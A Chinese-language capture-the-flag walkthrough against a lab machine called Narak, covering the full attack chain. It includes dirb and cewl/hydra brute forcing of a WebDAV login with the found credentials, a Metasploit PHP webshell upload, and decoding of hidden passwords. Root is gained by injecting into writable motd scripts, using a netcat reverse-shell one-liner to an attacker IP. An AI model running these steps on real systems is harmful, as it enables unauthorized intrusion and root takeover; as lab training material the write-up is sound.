信息收集
开了两个端口ssh 和http
先访问网站,没什么信息
dirb扫一下目录
dirb http://192.168.83.146/
扫到一个webdav目录,是一个登录界面,没有别的信息那就只能爆破了,
webdav
cewl http://192.168.83.146/ > narak.txt
hydra -L narak.txt -P narak.txt 192.168.83.146 http-get /webdav
login: yamdoot password: Swarg
cadaver工具可以连接webdav客户端,然后上传webshell
webdav就像一个存储服务,各种应用都可以连接到它,允许应用直接访问我们的云盘内容,对其进行读写操作。我们可以网络服务比作一只章鱼,云盘是它的大脑,WebDAV是它的触角。每个触角都连接到我们智能设备上的应用程序。我们的应用可以通过触角读取章鱼的大脑,并将数据写入大脑,改变大脑的记忆和内容。
用msf生成php脚本,上传到webdav目录下,刷新网页,访问shell.php
成功上线,用户目录下看看,在inferno目录下有个user.txt目录flag1就在这里
ssh
有个mnt目录下,存在一个hell.sh,我们的权限很高
不能执行,有一串什么编码
挺难找的,还是csdn上一个ctf的wp,说这是BrrainFuck加密,解密网站也不好找
BrrainFuck解密
chitragupt
可能是密码,
这还有一个,在karma目录下,差点没看见,base64
yamdoot:Swarg
这好像是之前用过的
su命令不能使用,那就试试ssh连接,经过尝试是inferno用户
ssh inferno@192.168.83.146
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
找属于root但是当前用户可更改的文件
inferno@ubuntu:~$ find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
-rwxrwxrwx 1 root root 124 Sep 22 2020 /mnt/hell.sh
-rwxrwxrwx 1 root root 299 May 18 2017 /etc/update-motd.d/91-release-upgrade
-rwxrwxrwx 1 root root 1220 Apr 9 2018 /etc/update-motd.d/00-header
-rwxrwxrwx 1 root root 4251 Apr 9 2018 /etc/update-motd.d/50-motd-news
-rwxrwxrwx 1 root root 604 Mar 21 2018 /etc/update-motd.d/80-esm
-rwxrwxrwx 1 root root 3017 Mar 21 2018 /etc/update-motd.d/80-livepatch
-rwxrwxrwx 1 root root 1157 Apr 9 2018 /etc/update-motd.d/10-help-text
motd文件就是在登录时每次执行的输出欢迎信息的文件
当前用户可以改写这些文件,每次登录时以root执行这些文件,所以我们可以通过注入这些文件来提权
motd提权
这个第一次见,
motd提权
还要密码,这种方式不行
换一种反弹方式
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.83.128 4444 >/tmp/f
kali监听端口,再次登录,然后找flag